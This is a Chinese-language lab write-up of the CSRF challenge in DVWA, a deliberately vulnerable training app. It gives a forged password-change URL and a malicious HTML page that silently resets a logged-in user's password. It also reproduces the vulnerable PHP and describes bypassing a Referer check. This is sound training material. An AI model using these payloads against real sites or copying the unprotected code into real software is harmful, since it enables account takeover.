DVWA–CSRF(跨站请求伪造)
原理参考:网络安全笔记-99-渗透-CSRF
逻辑
在输入框中输入新密码,可修改当前用户的密码。
难度分级
Low
通过BP抓包,可以发现修改密码的请求是GET方式,直接修改GET请求参数就可以完成密码修改。
只要访问该链接即可修改密码: http://192.168.17.141/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
在BP里生成POC:
然后点击"Test in browser"。
复制url并访问即完成了密码修改。
我们也可以创建一个恶意页面,诱使用户访问。当用户访问的时候,dvwa的登录用户密码即被修改。
<!DOCTYPE html>
<html>
<head>
<title>csrf test</title>
</head>
<body>
<script type="text/javascript" src=" http://192.168.17.141/DVWA/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change"></script>
hello
</body>
</html>
访问这个页面即被修改密码。
核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
如果两次输入的密码一致,则更新数据库密码的密码。
Medium
核心代码:
验证了当前请求的Referer。
‘SERVER_NAME’
当前运行脚本所在的服务器的主机名(可能与Host相同)
‘HTTP_REFERER’
Referer值
分析:
同样使用BP 的POC功能,发现Referer值不对,此处修改Referer值为:http://192.168.17.141/DVWA/vulnerabilities/csrf/即可成功完成密码修改。
High
核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
High级别加入了Token机制。
抓包如下:
Impossible
核心代码:
分析:
抓包如下:
需要验证token。
在修改密码之前需要验证当前密码,这是一种比较普遍的做法。在攻击者不知道当前密码的情况下是无法完成攻击的。并且在数据库操作上采用了PDO的方式防止SQL注入。